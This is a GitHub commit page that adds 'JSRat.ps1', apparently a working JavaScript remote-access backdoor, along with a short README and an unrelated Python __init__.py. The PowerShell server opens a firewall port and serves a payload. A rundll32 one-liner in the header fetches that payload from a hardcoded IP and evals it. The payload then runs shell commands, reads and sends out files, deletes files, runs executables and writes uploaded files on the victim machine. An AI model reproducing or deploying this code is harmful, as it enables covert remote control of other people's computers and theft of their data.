Skip to content

Commit ecf06c5

Browse files
xl7devxl7dev
committed
update
1 parent 62b6a15 commit ecf06c5

39 files changed

+5344
-0
lines changed

‎Javascript/JSRat.ps1

+316
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,316 @@
1+
<#
2+
---
3+
Learn from Casey Smith @subTee
4+
Author: 3gstudent
5+
---
6+
Javascript Backdoor
7+
---
8+
Server:
9+
run as admin:
10+
powershell.exe -ExecutionPolicy Bypass -File c:\test\JSRat.ps1
11+
12+
Client:
13+
cmd line:
14+
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
15+
16+
17+
#>
18+
19+
$Server = '192.168.174.131' #Listening IP. Change This.
20+
21+
function Receive-Request {
22+
param(
23+
$Request
24+
)
25+
$output = ""
26+
$size = $Request.ContentLength64 + 1
27+
$buffer = New-Object byte[] $size
28+
do {
29+
$count = $Request.InputStream.Read($buffer, 0, $size)
30+
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
31+
} until($count -lt $size)
32+
$Request.InputStream.Close()
33+
write-host $output
34+
}
35+
36+
$listener = New-Object System.Net.HttpListener
37+
$listener.Prefixes.Add('http://+:80/')
38+
39+
netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
40+
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
41+
42+
$listener.Start()
43+
'Listening ...'
44+
while ($true) {
45+
$context = $listener.GetContext() # blocks until request is received
46+
$request = $context.Request
47+
$response = $context.Response
48+
$hostip = $request.RemoteEndPoint
49+
50+
51+
52+
53+
54+
55+
#Use this for One-Liner Start
56+
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {
57+
write-host "Usage:" -fore Green
58+
write-host " cmd: just input the cmd command" -fore Green
59+
write-host " delete file: input:delete,then set the file path" -fore Green
60+
write-host " exitbackdoor: input:exit" -fore Green
61+
write-host " read file: input:read,then set the file path" -fore Green
62+
write-host " run exe: input:run,then set the file path" -fore Green
63+
write-host " download file: input:down,then set the file path" -fore Green
64+
write-host " upload file: input:upload,then set the file path" -fore Green
65+
66+
write-host "Host Connected" -fore Cyan
67+
$message = '
68+
69+
70+
while(true)
71+
{
72+
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
73+
h.SetTimeouts(0, 0, 0, 0);
74+
75+
try
76+
{
77+
h.Open("GET","http://'+$Server+'/rat",false);
78+
h.Send();
79+
c = h.ResponseText;
80+
81+
82+
if(c=="delete")
83+
84+
{
85+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
86+
p.SetTimeouts(0, 0, 0, 0);
87+
p.Open("POST","http://'+$Server+'/rat",false);
88+
p.Send("[Next Input should be the File to Delete]");
89+
90+
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
91+
g.SetTimeouts(0, 0, 0, 0);
92+
g.Open("GET","http://'+$Server+'/rat",false);
93+
g.Send();
94+
d = g.ResponseText;
95+
96+
fso1=new ActiveXObject("Scripting.FileSystemObject");
97+
f =fso1.GetFile(d);
98+
f.Delete();
99+
100+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
101+
p.SetTimeouts(0, 0, 0, 0);
102+
p.Open("POST","http://'+$Server+'/rat",false);
103+
p.Send("[Delete Success]");
104+
continue;
105+
106+
}
107+
108+
else if(c=="download")
109+
{
110+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
111+
p.SetTimeouts(0, 0, 0, 0);
112+
p.Open("POST","http://'+$Server+'/rat",false);
113+
p.Send("[Next Input should be the File to download]");
114+
115+
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
116+
g.SetTimeouts(0, 0, 0, 0);
117+
g.Open("GET","http://'+$Server+'/rat",false);
118+
g.Send();
119+
d = g.ResponseText;
120+
121+
fso1=new ActiveXObject("Scripting.FileSystemObject");
122+
f=fso1.OpenTextFile(d,1);
123+
g=f.ReadAll();
124+
f.Close();
125+
126+
127+
128+
129+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
130+
p.SetTimeouts(0, 0, 0, 0);
131+
p.Open("POST","http://'+$Server+'/download",false);
132+
p.Send(g);
133+
continue;
134+
}
135+
136+
else if(c=="exit")
137+
{
138+
c="(\"cmd /c taskkill /f /im rundll32.exe\",,0,true)";
139+
r = new ActiveXObject("WScript.Shell").Run(c);
140+
141+
}
142+
143+
else if(c=="read")
144+
{
145+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
146+
p.SetTimeouts(0, 0, 0, 0);
147+
p.Open("POST","http://'+$Server+'/rat",false);
148+
p.Send("[Next Input should be the File to Read]");
149+
150+
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
151+
g.SetTimeouts(0, 0, 0, 0);
152+
g.Open("GET","http://'+$Server+'/rat",false);
153+
g.Send();
154+
d = g.ResponseText;
155+
156+
fso1=new ActiveXObject("Scripting.FileSystemObject");
157+
f=fso1.OpenTextFile(d,1);
158+
g=f.ReadAll();
159+
f.Close();
160+
161+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
162+
p.SetTimeouts(0, 0, 0, 0);
163+
p.Open("POST","http://'+$Server+'/rat",false);
164+
p.Send(g);
165+
continue;
166+
}
167+
168+
169+
else if(c=="run")
170+
{
171+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
172+
p.SetTimeouts(0, 0, 0, 0);
173+
p.Open("POST","http://'+$Server+'/rat",false);
174+
p.Send("[Next Input should be the File to Run]");
175+
176+
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
177+
g.SetTimeouts(0, 0, 0, 0);
178+
g.Open("GET","http://'+$Server+'/rat",false);
179+
g.Send();
180+
d = g.ResponseText;
181+
182+
183+
r = new ActiveXObject("WScript.Shell").Run(d,0,true);
184+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
185+
p.SetTimeouts(0, 0, 0, 0);
186+
p.Open("POST","http://'+$Server+'/rat",false);
187+
p.Send("[Run Success]");
188+
189+
190+
continue;
191+
}
192+
193+
194+
else if(c=="upload")
195+
{
196+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
197+
p.SetTimeouts(0, 0, 0, 0);
198+
p.Open("POST","http://'+$Server+'/rat",false);
199+
p.Send("[Start to Upload]");
200+
201+
g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
202+
g.SetTimeouts(0, 0, 0, 0);
203+
g.Open("GET","http://'+$Server+'/uploadpath",false);
204+
g.Send();
205+
dpath = g.ResponseText;
206+
207+
g2 = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
208+
g2.SetTimeouts(0, 0, 0, 0);
209+
g2.Open("GET","http://'+$Server+'/uploaddata",false);
210+
g2.Send();
211+
ddata = g2.ResponseText;
212+
213+
fso1=new ActiveXObject("Scripting.FileSystemObject");
214+
f=fso1.CreateTextFile(dpath,true);
215+
f.WriteLine(ddata);
216+
f.Close();
217+
218+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
219+
p.SetTimeouts(0, 0, 0, 0);
220+
p.Open("POST","http://'+$Server+'/rat",false);
221+
p.Send("[Upload Success]");
222+
continue;
223+
}
224+
225+
else
226+
{
227+
228+
r = new ActiveXObject("WScript.Shell").Exec(c);
229+
var so;
230+
while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
231+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
232+
p.Open("POST","http://'+$Server+'/rat",false);
233+
p.Send(so);
234+
}
235+
236+
}
237+
catch(e1)
238+
{
239+
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
240+
p.SetTimeouts(0, 0, 0, 0);
241+
p.Open("POST","http://'+$Server+'/rat",false);
242+
p.Send("[No Output]");
243+
244+
}
245+
246+
}
247+
248+
'
249+
250+
}
251+
252+
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) {
253+
Receive-Request($request)
254+
}
255+
256+
257+
if ($request.Url -match '/download$' -and ($request.HttpMethod -eq "POST") ) {
258+
$output = ""
259+
$size = $Request.ContentLength64 + 1
260+
$buffer = New-Object byte[] $size
261+
do {
262+
$count = $Request.InputStream.Read($buffer, 0, $size)
263+
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
264+
} until($count -lt $size)
265+
$Request.InputStream.Close()
266+
267+
write-host "Input the Path to Save:" -fore Red
268+
$message = Read-Host
269+
Set-Content $message -Value $output
270+
write-host "Save Success" -fore Red
271+
272+
}
273+
274+
275+
276+
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {
277+
$response.ContentType = 'text/plain'
278+
$message = Read-Host "JS $hostip>"
279+
}
280+
281+
if($BoolExit -eq 1)
282+
{
283+
exit
284+
}
285+
$BoolExit=0
286+
287+
if($message -eq "exit")
288+
{
289+
$BoolExit=1
290+
}
291+
292+
293+
294+
if ($request.Url -match '/uploadpath$' -and ($request.HttpMethod -eq "GET") ) {
295+
296+
write-host "Input the Path to upload:" -fore Red
297+
$UploadPath = Read-Host
298+
write-host "Input the Destination Path:" -fore Red
299+
$message = Read-Host
300+
301+
}
302+
303+
304+
if ($request.Url -match '/uploaddata$' -and ($request.HttpMethod -eq "GET") ) {
305+
306+
$message = Get-Content $UploadPath
307+
}
308+
309+
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
310+
$response.ContentLength64 = $buffer.length
311+
$output = $response.OutputStream
312+
$output.Write($buffer, 0, $buffer.length)
313+
$output.Close()
314+
}
315+
316+
$listener.Stop()

‎Javascript/README.md

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Javascript-Backdoor
2+
Learn from Casey Smith @subTee
3+
https://gist.github.com/subTee/f1603fa5c15d5f8825c0

‎Udp/LiveHack/__init__.py

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
"""
2+
# Copyright (C) 2007 Nathan Ramella ([email protected])
3+
#
4+
# This library is free software; you can redistribute it and/or
5+
# modify it under the terms of the GNU Lesser General Public
6+
# License as published by the Free Software Foundation; either
7+
# version 2.1 of the License, or (at your option) any later version.
8+
#
9+
# This library is distributed in the hope that it will be useful,
10+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
11+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
12+
# Lesser General Public License for more details.
13+
#
14+
# You should have received a copy of the GNU Lesser General Public
15+
# License along with this library; if not, write to the Free Software
16+
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
17+
#
18+
# For questions regarding this module contact
19+
# Nathan Ramella <[email protected]> or visit http://www.liveapi.org
20+
"""
21+
22+
import sys
23+
import Live
24+
25+
#path = "/Users/ST8/Production/Arduinome/Dev/LiveOSC"
26+
#errorLog = open(path + "/stderr.txt", "w")
27+
#errorLog.write("Starting Error Log")
28+
#sys.stderr = errorLog
29+
#stdoutLog = open(path + "/stdout.txt", "w")
30+
#stdoutLog.write("Starting Standard Out Log")
31+
#sys.stdout = stdoutLog
32+
33+
from livehack import LiveHack
34+
35+
def create_instance(c_instance):
36+
return LiveHack(c_instance)

0 commit comments

Comments
 (0)